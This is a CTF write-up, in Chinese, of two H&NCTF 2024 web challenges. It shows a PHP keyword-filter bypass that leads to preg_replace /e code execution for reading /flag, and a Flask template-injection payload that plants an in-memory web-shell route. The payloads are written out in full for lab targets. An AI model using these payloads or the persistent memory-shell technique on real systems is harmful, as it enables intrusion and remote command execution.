DHCP
DHCP
Published on 2024-05-14 / 108 Visits
2
0

H&NCTF 2024WP WEB

H&NCTF 2024WP WEB

题名:Please_RCE_Me


打开题目:
传参?moran=flag发现源码:

<?php 
if($_GET['moran'] === 'flag'){ 
    highlight_file(__FILE__); 
    if(isset($_POST['task'])&&isset($_POST['flag'])){ 
        $str1 = $_POST['task']; 
        $str2 = $_POST['flag']; 
        if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){ 
            die('hacker!'); 
        }else{ 
            preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']); 
        } 
    } 
}else{ 
    echo "moran want a flag.</br>(?moran=flag)"; 
}

取源码发现主要命令执行是通过preg_replace /e的rce来执行的
想要执行preg_replace首先POST传入的task不能出现system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag这些内容
其次POST传入的flag的长度要等于19且flag要为please_give_me_flag
并且flag为please_give_me_flag才能触发rce
那么我们发现if里的对flag检测是没有规定大小写的,而preg_replace的里面是有“i”的,表明我们对于flag传入的please_give_me_flag不管大写还是小写都可以触发rce
并且还能绕过if判断里的preg_match,且please_give_me_flag本身的长度就是19所以可以通过大小写绕过
再看task,发现过滤了这么多,但是print_r没有过滤,且file_get_contents也没有过滤,我们可以通过file_get_contents包含/flag且通过print_r回显,但是过滤了flag,我们可以通过get传参dd=/flag然后再让file_get_contents包含dd就相当于file_get_contents(‘/flag’)了
那么接下来的就是payload:

GET: ?moran=flag&dd=/flag
POST: task=print_r(file_get_contents($_GET['dd']));&flag=please_give_me_flaG

得到flag
当然也有第二种方式,使用十六进制对/flag进行编码
Payload2:

POST: task=print_r(file_get_contents("\x2f\x66\x6c\x61\x67"));&flag=please_give_me_flaG

题名:ezFlask

打开发现字样:冒险即将开始!!! 请移步/Adventure路由进行命令执行,后端语句为: cmd = request.form['cmd'] eval(cmd) 注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成flag并写入/flag 执行无回显,目录没权限部分命令ban,也不要想着写文件~
我们可知在/Adventure路由下面传参cmd后通过eval去掉左右两边的定界符,相当于执行我们传入的内容
那么我们可以使用render_template_string函数(render_template_string是Flask框架中的一个函数,用于将Jinja2模板字符串渲染为HTML。它接受一个模板字符串作为参数,并返回渲染后的HTML字符串)
payload:

cmd=render_template_string("{{7*7}}")

发现执行成功但是不给回显,我们再读题发现“唯一一次成功“可以想到内存码,我们试一下
Payload:

cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/get', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

Payload的意思是我们通过flask模板注入的方式添加一个/get路由再路由下面get传入一个shell,并且执行shell里的语句成功,访问一下/get并且尝试读取flag
Payload:

/get?shell=cat /flag


执行成功


Comment